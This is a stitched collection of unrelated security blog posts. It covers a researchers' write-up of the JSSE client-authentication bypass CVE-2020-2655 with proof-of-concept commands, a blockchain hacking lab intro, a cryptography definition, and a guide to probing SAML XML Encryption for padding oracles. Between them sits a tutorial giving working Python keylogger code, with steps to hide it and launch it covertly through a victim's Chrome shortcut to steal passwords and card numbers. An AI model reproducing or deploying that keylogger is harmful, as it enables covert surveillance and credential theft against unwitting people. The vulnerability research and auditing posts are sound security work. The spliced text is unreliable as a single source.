CVE-2020-2655 JSSE Client Authentication Bypass

During our joint research on DTLS state machines, we discovered a really interesting vulnerability (CVE-2020-2655) in the recent versions of Sun JSSE (Java 11, 13). Interestingly, the vulnerability does not only affect DTLS implementations but does also affects the TLS implementation of JSSE in a similar way. The vulnerability allows an attacker to completely bypass client authentication and to authenticate as any user for which it knows the certificate WITHOUT needing to know the private key. If you just want the PoC's, feel free to skip the intro.

DTLS

I guess most readers are very familiar with the traditional TLS handshake which is used in HTTPS on the web.

DTLS is the crayon eating brother of TLS. It was designed to be very similar to TLS, but to provide the necessary changes to run TLS over UDP. DTLS currently exists in 2 versions (DTLS 1.0 and DTLS 1.2), where DTLS 1.0 roughly equals TLS 1.1 and DTLS 1.2 roughly equals TLS 1.2. DTLS 1.3 is currently in the process of being standardized. But what exactly are the differences? If a protocol uses UDP instead of TCP, it can never be sure that all messages it sent were actually received by the other party or that they arrived in the correct order. If we would just run vanilla TLS over UDP, an out of order or dropped message would break the connection (not only during the handshake). DTLS, therefore, includes additional sequence numbers that allow for the detection of out of order handshake messages or dropped packets. The sequence number is transmitted within the record header and is increased by one for each record transmitted. This is different from TLS, where the record sequence number was implicit and not transmitted with each record. The record sequence numbers are especially relevant once records are transmitted encrypted, as they are included in the additional authenticated data or HMAC computation. This allows a receiving party to verify AEAD tags and HMACs even if a packet was dropped on the transport and the counters are "out of sync".
Besides the record sequence numbers, DTLS has additional header fields in each handshake message to ensure that all the handshake messages have been received. The first handshake message a party sends has the message_seq=0 while the next handshake message a party transmits gets the message_seq=1 and so on. This allows a party to check if it has received all previous handshake messages. If, for example, a server received message_seq=2 and message_seq=4 but did not receive message_seq=3, it knows that it does not have all the required messages and is not allowed to proceed with the handshake. After a reasonable amount of time, it should instead periodically retransmit its previous flight of handshake message, to indicate to the opposing party they are still waiting for further handshake messages. This process gets even more complicated by additional fragmentation fields DTLS includes. The MTU (Maximum Transmission Unit) plays a crucial role in UDP as when you send a UDP packet which is bigger than the MTU the IP layer might have to fragment the packet into multiple packets, which will result in failed transmissions if parts of the fragment get lost in the transport. It is therefore desired to have smaller packets in a UDP based protocol. Since TLS records can get quite big (especially the certificate message as it may contain a whole certificate chain), the messages have to support fragmentation. One would assume that the record layer would be ideal for this scenario, as one could detect missing fragments by their record sequence number. The problem is that the protocol wants to support completely optional records, which do not need to be retransmitted if they are lost. This may, for example, be warning alerts or application data records. Also if one party decides to retransmit a message, it is always retransmitted with an increased record sequence number. For example, the first ClientKeyExchange message might have record sequence 2, the message gets dropped, the client decides that it is time to try again and might send it with record sequence 5. This was done as retransmissions are only part of DTLS within the handshake. After the handshake, it is up to the application to deal with dropped or reordered packets. It is therefore not possible to see just from the record sequence number if handshake fragments have been lost. DTLS, therefore, adds additional handshake message fragment information in each handshake message record which contains information about where the following bytes are supposed to be within a handshake message.


If a party has to replay messages, it might also refragment the messages into bits of different (usually smaller) sizes, as dropped packets might indicate that the packets were too big for the MTU). It might, therefore, happen that you already have received parts of the message, get a retransmission which contains some of the parts you already have, while others are completely new to you and you still do not have the complete message. The only option you then have is to retransmit your whole previous flight to indicate that you still have missing fragments. One notable special case in this retransmission fragmentation madness is the ChangecipherSpec message. In TLS, the ChangecipherSpec message is not a handshake message, but a message of the ChangeCipherSpec protocol. It, therefore, does not have a message_sequence. Only the record it is transmitted in has a record sequence number. This is important for applications that have to determine where to insert a ChangeCipherSpec message in the transcript.

As you might see, this whole record sequence, message sequence, 2nd layer of fragmentation, retransmission stuff (I didn't even mention epoch numbers) which is within DTLS, complicates the whole protocol a lot. Imagine being a developer having to implement this correctly and secure...  This also might be a reason why the scientific research community often does not treat DTLS with the same scrutiny as it does with TLS. It gets really annoying really fast...

Client Authentication

In most deployments of TLS only the server authenticates itself. It usually does this by sending an X.509 certificate to the client and then proving that it is in fact in possession of the private key for the certificate. In the case of RSA, this is done implicitly the ability to compute the shared secret (Premaster secret), in case of (EC)DHE this is done by signing the ephemeral public key of the server. The X.509 certificate is transmitted in plaintext and is not confidential. The client usually does not authenticate itself within the TLS handshake, but rather authenticates in the application layer (for example by transmitting a username and password in HTTP). However, TLS also offers the possibility for client authentication during the TLS handshake. In this case, the server sends a CertificateRequest message during its first flight. The client is then supposed to present its X.509 Certificate, followed by its ClientKeyExchange message (containing either the encrypted premaster secret or its ephemeral public key). After that, the client also has to prove to the server that it is in possession of the private key of the transmitted certificate, as the certificate is not confidential and could be copied by a malicious actor. The client does this by sending a CertificateVerify message, which contains a signature over the handshake transcript up to this point, signed with the private key which belongs to the certificate of the client. The handshake then proceeds as usual with a ChangeCipherSpec message (which tells the other party that upcoming messages will be encrypted under the negotiated keys), followed by a Finished message, which assures that the handshake has not been tampered with. The server also sends a CCS and Finished message, and after that handshake is completed and both parties can exchange application data. The same mechanism is also present in DTLS.

But what should a Client do if it does not possess a certificate? According to the RFC, the client is then supposed to send an empty certificate and skip the CertificateVerify message (as it has no key to sign anything with). It is then up to the TLS server to decide what to do with the client. Some TLS servers provide different options in regards to client authentication and differentiate between REQUIRED and WANTED (and NONE). If the server is set to REQUIRED, it will not finish the TLS handshake without client authentication. In the case of WANTED, the handshake is completed and the authentication status is then passed to the application. The application then has to decide how to proceed with this. This can be useful to present an error to a client asking him to present a certificate or insert a smart card into a reader (or the like). In the presented bugs we set the mode to REQUIRED.

State machines

As you might have noticed it is not trivial to decide when a client or server is allowed to receive or send each message. Some messages are optional, some are required, some messages are retransmitted, others are not. How an implementation reacts to which message when is encompassed by its state machine. Some implementations explicitly implement this state machine, while others only do this implicitly by raising errors internally if things happen which should not happen (like setting a master_secret when a master_secret was already set for the epoch). In our research, we looked exactly at the state machines of DTLS implementations using a grey box approach. The details to our approach will be in our upcoming paper (which will probably have another blog post), but what we basically did is carefully craft message flows and observed the behavior of the implementation to construct a mealy machine which models the behavior of the implementation to in- and out of order messages. We then analyzed these mealy machines for unexpected/unwanted/missing edges. The whole process is very similar to the work of Joeri de Ruiter and Erik Poll.

JSSE Bugs

The bugs we are presenting today were present in Java 11 and Java 13 (Oracle and OpenJDK). Older versions were as far as we know not affected. Cryptography in Java is implemented with so-called SecurityProvider. Per default SUN JCE is used to implement cryptography, however, every developer is free to write or add their own security provider and to use them for their cryptographic operations. One common alternative to SUN JCE is BouncyCastle. The whole concept is very similar to OpenSSL's engine concept (if you are familiar with that). Within the JCE exists JSSE - the Java Secure Socket Extension, which is the SSL/TLS part of JCE. The presented attacks were evaluated using SUN JSSE, so the default TLS implementation in Java. JSSE implements TLS and DTLS (added in Java 9). However, DTLS is not trivial to use, as the interface is quite complex and there are not a lot of good examples on how to use it. In the case of DTLS, only the heart of the protocol is implemented, how the data is moved from A to B is left to the developer. We developed a test harness around the SSLEngine.java to be able to speak DTLS with Java. The way JSSE implemented a state machine is quite interesting, as it was completely different from all other analyzed implementations. JSSE uses a producer/consumer architecture to decided on which messages to process. The code is quite complex but worth a look if you are interested in state machines.

So what is the bug we found? The first bug we discovered is that a JSSE DTLS/TLS Server accepts the following message sequence, with client authentication set to required:


JSSE is totally fine with the messages and finishes the handshake although the client does NOT provide a certificate at all (nor a CertificateVerify message). It is even willing to exchange application data with the client. But are we really authenticated with this message flow? Who are we? We did not provide a certificate! The answer is: it depends. Some applications trust that needClientAuth option of the TLS socket works and that the user is *some* authenticated user, which user exactly does not matter or is decided upon other authentication methods. If an application does this - then yes, you are authenticated. We tested this bug with Apache Tomcat and were able to bypass ClientAuthentication if it was activated and configured to use JSSE. However, if the application decides to check the identity of the user after the TLS socket was opened, an exception is thrown:

The reason for this is the following code snippet from within JSSE:


As we did not send a client certificate the value of peerCerts is null, therefore an exception is thrown. Although this bug is already pretty bad, we found an even worse (and weirder) message sequence which completely authenticates a user to a DTLS server (not TLS server though). Consider the following message sequence:

If we send this message sequence the server magically finishes the handshake with us and we are authenticated.

First off: WTF
Second off: WTF!!!111

This message sequence does not make any sense from a TLS/DTLS perspective. It starts off as a "no-authentication" handshake but then weird things happen. Instead of the Finished message, we send a Certificate message, followed by a Finished message, followed by a second(!) CCS message, followed by another Finished message. Somehow this sequence confuses JSSE such that we are authenticated although we didn't even provide proof that we own the private key for the Certificate we transmitted (as we did not send a CertificateVerify message).
So what is happening here? This bug is basically a combination of multiple bugs within JSSE. By starting the flight with a ClientKeyExchange message instead of a Certificate message, we make JSSE believe that the next messages we are supposed to send are ChangeCipherSpec and Finished (basically the first exploit). Since we did not send a Certificate message we are not required to send a CertificateVerify message. After the ClientKeyExchange message, JSSE is looking for a ChangeCipherSpec message followed by an "encrypted handshake message". JSSE assumes that the first encrypted message it receives will be the Finished message. It, therefore, waits for this condition. By sending ChangeCipherSpec and Certificate we are fulfilling this condition. The Certificate message really is an "encrypted handshake message" :). This triggers JSSE to proceed with the processing of received messages, ChangeCipherSpec message is consumed, and then the Certifi... Nope, JSSE notices that this is not a Finished message, so what JSSE does is buffer this message and revert to the previous state as this step has apparently not worked correctly. It then sees the Finished message - this is ok to receive now as we were *somehow* expecting a Finished message, but JSSE thinks that this Finished is out of place, as it reverted the state already to the previous one. So this message gets also buffered. JSSE is still waiting for a ChangeCipherSpec, "encrypted handshake message" - this is what the second ChangeCipherSpec & Finished is for. These messages trigger JSSE to proceed in the processing. It is actually not important that the last message is a Finished message, any handshake message will do the job. Since JSSE thinks that it got all required messages again it continues to process the received messages, but the Certificate and Finished message we sent previously are still in the buffer. The Certificate message is processed (e.g., the client certificate is written to the SSLContext.java). Then the next message in the buffer is processed, which is a Finished message. JSSE processes the Finished message (as it already had checked that it is fine to receive), it checks that the verify data is correct, and then... it stops processing any further messages. The Finished message basically contains a shortcut. Once it is processed we can stop interpreting other messages in the buffer (like the remaining ChangeCipherSpec & "encrypted handshake message"). JSSE thinks that the handshake has finished and sends ChangeCipherSpec Finished itself and with that the handshake is completed and the connection can be used as normal. If the application using JSSE now decides to check the Certificate in the SSLContext, it will see the certificate we presented (with no possibility to check that we did not present a CertificateVerify). The session is completely valid from JSSE's perspective.

Wow.

The bug was quite complex to analyze and is totally unintuitive. If you are still confused - don't worry. You are in good company, I spent almost a whole day analyzing the details... and I am still confused. The main problem why this bug is present is that JSSE did not validate the received message_sequence numbers of incoming handshake message. It basically called receive, sorted the received messages by their message_sequence, and processed the message in the "intended" order, without checking that this is the order they are supposed to be sent in.
For example, for JSSE the following message sequence (Certificate and CertificateVerify are exchanged) is totally fine:

Not sending a Certificate message was fine for JSSE as the REQUIRED setting was not correctly evaluated during the handshake. The consumer/producer architecture of JSSE then allowed us to cleverly bypass all the sanity checks.
But fortunately (for the community) this bypass does not work for TLS. Only the less-used DTLS is vulnerable. And this also makes kind of sense. DTLS has to be much more relaxed in dealing with out of order messages then TLS as UDP packets can get swapped or lost on transport and we still want to buffer messages even if they are out of order. But unfortunately for the community, there is also a bypass for JSSE TLS - and it is really really trivial:

Yep. You can just not send a CertificateVerify (and therefore no signature at all). If there is no signature there is nothing to be validated. From JSSE's perspective, you are completely authenticated. Nothing fancy, no complex message exchanges. Ouch.

PoC

A vulnerable java server can be found _*here*_. The repository includes a pre-built JSSE server and a Dockerfile to run the server in a vulnerable Java version. (If you want, you can also build the server yourself).
You can build the docker images with the following commands:

docker build . -t poc

You can start the server with docker:

docker run -p 4433:4433 poc tls

The server is configured to enforce client authentication and to only accept the client certificate with the SHA-256 Fingerprint: B3EAFA469E167DDC7358CA9B54006932E4A5A654699707F68040F529637ADBC2.

You can change the fingerprint the server accepts to your own certificates like this:

docker run -p 4433:4433 poc tls f7581c9694dea5cd43d010e1925740c72a422ff0ce92d2433a6b4f667945a746

To exploit the described vulnerabilities, you have to send (D)TLS messages in an unconventional order or have to not send specific messages but still compute correct cryptographic operations. To do this, you could either modify a TLS library of your choice to do the job - or instead use our TLS library TLS-Attacker. TLS-Attacker was built to send arbitrary TLS messages with arbitrary content in an arbitrary order - exactly what we need for this kind of attack. We have already written a few times about TLS-Attacker. You can find a general tutorial __here__, but here is the TLDR (for Ubuntu) to get you going.

Now TLS-Attacker should be built successfully and you should have some built .jar files within the apps/ folder.
We can now create a custom workflow as an XML file where we specify the messages we want to transmit:

This workflow trace basically tells TLS-Attacker to send a default ClientHello, wait for a ServerHelloDone message, then send a ClientKeyExchange message for whichever cipher suite the server chose and then follow it up with a ChangeCipherSpec & Finished message. After that TLS-Attacker will just wait for whatever the server sent. The last action prints the (eventually) transmitted application data into the console. You can execute this WorkflowTrace with the TLS-Client.jar:

java -jar TLS-Client.jar -connect localhost:4433 -workflow_input exploit1.xml

With a vulnerable server the result should look something like this:

and from TLS-Attackers perspective:

As mentioned earlier, if the server is trying to access the certificate, it throws an SSLPeerUnverifiedException. However, if the server does not - it is completely fine exchanging application data.
We can now also run the second exploit against the TLS server (not the one against DTLS). For this case I just simply also send the certificate of a valid client to the server (without knowing the private key). The modified WorkflowTrace looks like this:

Your output should now look like this:

As you can see, when accessing the certificate, no exception is thrown and everything works as if we would have the private key. Yep, it is that simple.
To test the DTLS specific vulnerability we need a vulnerable DTLS-Server:

docker run -p 4434:4433/udp poc:latest dtls

A WorkflowTrace which exploits the DTLS specific vulnerability would look like this:

To execute the handshake we now need to tell TLS-Attacker additionally to use UDP instead of TCP and DTLS instead of TLS:

java -jar TLS-Client.jar -connect localhost:4434 -workflow_input exploit2.xml -transport_handler_type UDP -version DTLS12

Resulting in the following handshake:

As you can see, we can exchange ApplicationData as an authenticated user. The server actually sends the ChangeCipherSpec,Finished messages twice - to avoid retransmissions from the client in case his ChangeCipherSpec,Finished is lost in transit (this is done on purpose).

Conclusion

These bugs are quite fatal for client authentication. The vulnerability got CVSS:4.8 as it is "hard to exploit" apparently. It's hard to estimate the impact of the vulnerability as client authentication is often done in internal networks, on unusual ports or in smart-card setups. If you want to know more about how we found these vulnerabilities you sadly have to wait for our research paper. Until then ~:)

Credits

Paul Fiterau Brostean (@PaulTheGreatest) (Uppsala University)
Robert Merget (@ic0nz1) (Ruhr University Bochum)
Juraj Somorovsky (@jurajsomorovsky) (Ruhr University Bochum)
Kostis Sagonas (Uppsala University)
Bengt Jonsson (Uppsala University)
Joeri de Ruiter (@cypherpunknl)  (SIDN Labs)

 

 Responsible Disclosure

We reported our vulnerabilities to Oracle in September 2019. The patch for these issues was released on 14.01.2020.

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How To Make A Simple And Powerful Keylogger Using Python

A keylogger is a computer program which can be written using any computer programming language such as c++ when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.

How to make a python keylogger?

A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.

Requirements to create a python keylogger

• Computer With Operating system: Windows, Mac os or Linux
• Python must be installed on the system
• Pip (Python index package ) you will need this to install python software packages.
• Pypiwin32 and PyHook packages
• Basic understanding of computers

You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.

Part 1: Downloading Python and pip, setting up the environment to create the keylogger.Step 1:

Download python development kit by clicking here.

Choose python 2.7 because I am using this version. It is ok if you have a different version of python this method will work on every version of python.

Step 2:

Installation of python is pretty simple.Open the python setup file, Mark the checkboxes Very important else you have to set the python path manually, and click on Install Now.

Step 3:

You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.

To download pip go to https://pip.pypa.io/en/stable/installing/ and Save link as by right clicking on get-pip.py. when the download is done, just run the get-pip.py file.

Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.

Now click on the Advanced system settings

Choose Environment Variables.

Choose New, Set the Variable name: PATH and Variable value as C:\Python27\Scripts

Click on ok.

Part 2: Installing Pypiwin32 and PyHook python Packages using pip:

Open Command Prompt(CMD) and type: pip installs Pypiwin32 press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: pip install PyHook press the Enter Key and wait for the installation to complete.When done close the Command Prompt.

Part 3: Creating and testing the python keylogger:

Now you have configured your environment and installed all the necessary packages, let's start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI) by clicking on it.

Go to the File, from the drop-down menu choose New file.

Python Keylogger source code:

Copy these lines of code and paste into the new file. Modify the directory in the second line of code to your own location e.g 'C:\test\log.txt' this will create a folder named test in C save the log.txt file there when the Keylogger start.

import pyHook, pythoncom, sys, logging

file_log='F:\\test\\log.txt'

def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.

The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt on my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as Google Chrome.

Let's make the python keylogger auto-launchable by attaching it the Google Chrome.

Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat

Now right click on the google chrome desktop shortcut icon and click on properties. You will see a field called Target. Change the target field to the batch file launch.bat directory that you created. let's say you have saved your launch.bat file in a test folder in C, Then change the target field with "C:\test\launch.bat". Now, whenever the user opens chrome the keylogger will run automatically.

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Blockchain Exploitation Labs - Part 2 Hacking Blockchain Authorization

Bypassing Blockchain Authorization via Unsecured Functions

Note: Since the first part of this series I have also uploaded some further videos on remediation of reentrancy and dealing with compiler versions when working with this hacking blockchain series.  Head to the console cowboys YouTube account to check those out.  Haha as mentioned before I always forget to post blogs when I get excited making videos and just move on to my next project… So make sure to subscribe to the YouTube if you are waiting for any continuation of a video series.. It may show up there way before here. 

Note 2:  You WILL run into issues when dealing with Ethereum hacking, and you will have to google them as versions and functionality changes often... Be cognizant of versions used hopefully you will not run into to many hard to fix issues. 

In the second part of this lab series we are going to take a look at privacy issues on the blockchain which can result in a vulnerably a traditional system may  not face. Since typically blockchain projects are open source and also sometimes viewable within blockchain explorers but traditional application business logic is not usually available to us. With traditional applications we might not find these issues due to lack of knowledge of internal functionality or inability to read private values on a remote server side script.  After we review some issues we are going to exploit an authorization issues by writing web3.js code to directly bypass vertical authorization restrictions.

Blockchain projects are usually open source projects which allow you to browse their code and see what's going on under the hood.  This is fantastic for a lot of reasons but a developer can run into trouble with this if bad business logic decisions are deployed to the immutable blockchain.  In the first part of this series I mentioned that all uploaded code on the blockchain is immutable. Meaning that if you find a vulnerability it cannot be patched. So let's think about things that can go wrong..

A few things that can go wrong:

• Randomization functions that use values we can predict if we know the algorithm
• Hard-coded values such as passwords and private variables you can't change.
• Publicly called functions which offer hidden functionality
• Race conditions based on how requirements are calculated

Since this will be rather technical, require some setup and a lot of moving parts we will follow this blog via the video series below posting videos for relevant sections with a brief description of each.  I posted these a little bit ago but have not gotten a chance to post the blog associated with it.  Also note this series is turning into a full lab based blockchain exploitation course so keep a lookout for that.

In this first video you will see how data about your project is readily available on the blockchain in multiple formats for example:

• ABI data that allows you to interact with methods.
• Actual application code.
• Byte code and assembly code.
• Contract addresses and other data.

 Lab Video Part 1: Blockchain OSINT: 

Once you have the data you need to interact with a contract on the blockchain via some OSINT how do you actually interface with it? That's the question we are going to answer in this second video. We will take the ABI contract array and use it to interact with methods on the blockchain via Web3.js and then show how this correlates to its usage in an HTML file

Lab Video Part 2: Connecting to a Smart Contract: 

Time to Exploit an Application:

Exploit lab time, I created an vulnerable application you can use to follow along in the next video. Lab files can be downloaded from the same location as the last blog located below. Grab the AuthorizationLab.zip file:

Lab file downloads:

https://github.com/cclabsInc/BlockChainExploitation

Ok so you can see what's running on the blockchain, you can connect to it, now what?   Now we need to find a vulnerability and show how to exploit it. Since we are talking about privacy in this blog and using it to bypass issues. Lets take a look at a simple authorization bypass we can exploit by viewing an authorization coding error and taking advantage of it to bypass restrictions set in the Smart Contract.  You will also learn how to setup a local blockchain for testing purposes and you can download a hackable application to follow along with the exercises in the video..

Lab Video Part 3:  Finding and hacking a Smart Contract Authorization Issue: 

Summary:

In this part of the series you learned a lot, you learned how to transfer your OSINT skills to the blockchain. Leverage the information found to connect to that Smart Contract. You also learned how to interact with methods and search for issues that you can exploit. Finally you used your browsers developer console as a means to attack the blockchain application for privilege escalation.

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USE OF CRYPTOGRAPHY IN HACKING

WHAT IS CRYPTOGRAPHY?

The process of transforming information into nonhuman readable form or vice versa is called cryptography.

Cryptography is the science of ciphering and deciphering messages.

                 
                            OR

Cryptography is a method of protecting information and communication through the use of codes so that only those whom the information is intended can read and process it.

In Computer Science, cryptography refers to secure information and communication techniques derived from mathematical concepts , a set of rule based calculations called algorithm to transform message in ways the hard to readable for human.

Information plays a vital role in running of business and organizations etc, information in the wrong hands can leads to loss of business.

To secure communication organizations use cryptology to cipher information .

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Probing For XML Encryption Weaknesses In SAML With EsPReSSO

Security Assertion Markup Language (SAML) is an XML-based standard commonly used in Web Single Sign-On (SSO) [1]. In SAML, the confidentiality of transferred authentication statements against intermediaries can be provided using XML Encryption [2]. However, implementing XML Encryption in a secure way can be tricky and several attacks on XML Encryption have been identified in the past [3] [4]. Therefore, when auditing a SAML endpoint, one should always consider testing for vulnerabilities in the XML Encryption implementation.

This blog post introduces our latest addition to the SAML Attacker of our BurpSuite extension EsPReSSO: the Encryption Attack tab. The new tab allows for easy manipulation of the encrypted parts within intercepted SAML responses and can, therefore, be used to quickly assess whether the SAML endpoint is vulnerable against certain XML Encryption attacks.

Weaknesses of XML Encryption

Implementations of XML Encryption can be vulnerable to adaptive chosen ciphertext attacks. This is a class of attacks in which the attacker sends a sequence of manipulated ciphertexts to a decryption oracle as a way to gain information about the plaintext content.

Falsely implemented XML Encryption can be broken using:

• an attack against the CBC-mode decryption (quite similar to a padding oracle attack) [3] or
• a Bleichenbacher attack against the RSA-PKCS#1 encryption of the session key  [4].

SAML makes use of XML Encryption and its implementations could, therefore, also be vulnerable to these attacks.

XML Encryption in SAML

To support confidential transmission of sensitive data within the SAML Assertion, assertions can be encrypted using XML Encryption. An EncryptedAssertion is shown in the abridged example below.

<EncryptedAssertion>
  <EncryptedData>
    <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/>
    <KeyInfo>
      <EncryptedKey>
        <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
        <CipherData>
          <CipherValue>
            [...]
          </CipherValue>
        </CipherData>
      </EncryptedKey>
    </KeyInfo>
    <CipherData>
        <CipherValue>
          [...]
        </CipherValue>
    </CipherData>
  </EncryptedData>
</EncryptedAssertion>

The EncryptedAssertion contains an EncryptedData element, which in turn is the parent of the EncryptionMethod, KeyInfo, and CipherData elements.  SAML makes use of what is referred to as a hybrid encryption scheme. This is done using a session key which symmetrically encrypts the payload data (the example uses AES-128 in CBC mode), resulting in the ciphertext contained in the EncryptedAssertion/EncryptedData/CipherData/CipherValue child element. The session key itself is encrypted using an asymmetric encryption scheme. In our example, RSA-PKCS#1.5 encryption is used with the public key of the recipient, allowing the contents of the the EncryptedKey child element to be derived from the KeyInfo element. 

Encryption Attacker

Our BurpSuite extension EsPReSSO can help detect vulnerable implementations with the newly integrated Encryption Attacker within EsPReSSO's SAML module.

Once a SAML response which contains an EncryptedAssertion has been intercepted, open the SAML tab, select the Attacks pane, and choose Encryption from the dropdown menu. This works in Burp's Proxy, as well as in the Repeater tool, and is depicted below.

As sketched out above, the symmetric session key is encrypted using the recipient's public key. Since the key is public, anybody can use it to encrypt a selected symmetric key and submit a valid encryption of arbitrary messages to the recipient. This is incredibly helpful because it allows us to produce ciphertexts that decrypt the chosen plaintexts. To accomplish this, one can purposefully send invalidly padded messages, or messages containing invalid XML, as a method to trigger and analyze the different reactions of the decryption endpoint (i.e, turning the endpoint into a decryption oracle). To facilitate these investigations, the new Encryption Attacker makes this process dead simple.

The screenshot above shows the essential interface of the new encryption tab:
At the top, the certificate used to encrypt the symmetric session key can be pasted into the text field. This field will be pre-filled automatically if the intercepted SAML message includes a certificate in the KeyInfo child element of the EncryptedData element. The Update Certificate checkboxes above the text area can be used to include the certificate in the manipulated SAML message.
In the Symmetric Key text field, the hexadecimal value of the symmetric session key can be set. Choose the asymmetric algorithm from the dropdown menu and click Encrypt key -- this will update the corresponding KeyInfo elements of the intercepted SAML message. 

The payload in the text area labeled XML data can now be entered. Any update in the XML data field will also be reflected in the hexadecimal representation of the payload (found on right of the XML data field). Note that this is automatically padded to the blocklength required by the symmetric algorithm selected below. However, the payload and the padding can be manually adjusted in the hex editor field.

Eventually, click the Encrypt content button to generate the encrypted payload. This will apply the changes to the intercepted SAML message, and the manipulated message using Burp's Forward or Go button can now be forwarded, as usual.

Probing for Bleichenbacher Oracles

Bleichenbacher's attack against RSA-PKCS1 v1.5 encryption abuses the malleability of RSA to draw conclusions about the plaintext by multiplying the ciphertext with adaptively chosen values, and observing differences in the received responses. If the (error-) responses differ for valid and invalid PKCS1 v1.5 ciphertexts, Bleichenbachers' algorithm can be used to decrypt the ciphertext without knowing the private key [6].

To determine whether or not a SAML endpoint is vulnerable to Bleichenbacher's Attack, we simply need to check if we can distinguish those responses received when submitting ciphertexts that are decrypted into invalidly formatted PKCS1 v1.5 plaintexts, from the responses we receive when sending ciphertexts that are decrypted into validly formatted plaintexts. 

Recall that PKCS1 v1.5 mandates a certain format of the encrypted plaintext, namely a concatenation of a BlockType 00 02, a randomized PaddingString (PS) that includes no 00 bytes, a 00 (NULL-byte) as delimiter, and the actual plaintext message. The whole sequence should be equal in size to the modulus of the RSA key used. That is, given the byte length k of the RSA modulus and the message length |m|, PS has the length |PS| = k - 3 - |m|. Furthermore, PKCS1 v1.5 demands that |PS| to be at least eight bytes long [5]. 

In SAML, the recipient's public key is usually known because it is published in the metadata, or even included in the EncryptedAssertion. For this reason, we do not need to fiddle around with manipulated ciphertexts. Instead, we simply submit a validly formatted RSA-PKCS1 v1.5 encrypted message and an encrypted message which deciphers into an invalidly formatted plaintext. As an example, assume an RSA public key of 2048 bits which we want to use to encrypt a 16 byte session key `01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10` (hexadecimal representation). |PS|$ is $2048/8 - 3 - 16 = 237, so a valid PKCS1 v1.5 plaintext, ready to be encrypted using `AA` for all 237 padding bytes, could look like the listing shown below.

00 02 AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 00
01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10

In the Encryption attack pane of EsPReSSO, ensure that the correct public key certificate has been added to the Certificate field. Insert a valid plaintext, such as the one above, into the Symmetric Key field and select Plain RSA encryption from the Algorithm drop down menu. Click the Encrypt button to compute the RSA transformation and apply the new EncryptedKey element to the intercepted SAML message. Now, submit the message by clicking Burp's Go or Forward button and carefully inspect the response.

Next, repeat the steps outlined above, but this time submit an invalid PKCS1 v1.5 message. For example, consider using an invalid BlockType of `12 34` instead of `00 02`, or replace the `00` delimiter so that the decryptor is unable to determine the actual message after decrypting the ciphertext. If you are able to determine from the recieved responses whether or not the submitted ciphertext decrypted into a valid PKCS1 v1.5 formatted plaintext, chances are high that the decryptor can be used as a Bleichenbacher oracle. Don't forget to take into account the actual XML data, i.e., the assertion encrypted with the new session key; by submitting valid or invalid XML, or by removing signatures from the SAML message or the assertion you may increase your chances of detecting differences in the returned responses.

Probing for Oracles in CBC-Mode Decryption

Another known attack on XML Encryption is aimed at the Cipher Block Chaining (CBC) mode, which can be used with the block ciphers AES or 3DES [2]. The attack is described in detail in this referenced paper [3] and is quite similar to Padding-Oracle attacks on CBC mode; the malleability of CBC mode encryption enables the attacker to perform a bytewise, adaptive manipulation of the ciphertext blocks which are subsequently sent to the decryptor. In most cases, the manipulated ciphertext will not decrypt to valid XML and an error will be returned. Sometimes, however, the plaintext will be parsed as valid XML, in which cases an error is thrown later on at the application layer. The attacker observes the differences in the responses in order to turn the decryptor into a ciphertext validity oracle which can be used to break the encryption.  Due to some particularities of the XML format, this attack can be very efficient, enabling decryption with about 14 requests per byte, and it is even possible to fully automate the process [7].

In order to determine if a particular SAML service provider is vulnerable to this attack, we can avoid the cumbersome ciphertext manipulation, if we are in possession of the decryptor's public key:
In the Encryption Attacker tab of EsPReSSO, add the public key certificate to the Certificate field (if necessary) and insert a symmetric key of your own devising into the  Symmetric Key text field. Select an appropriate RSA encryption method and click the Encrypt button to apply the new EncryptedKey element to the original SAML message. 

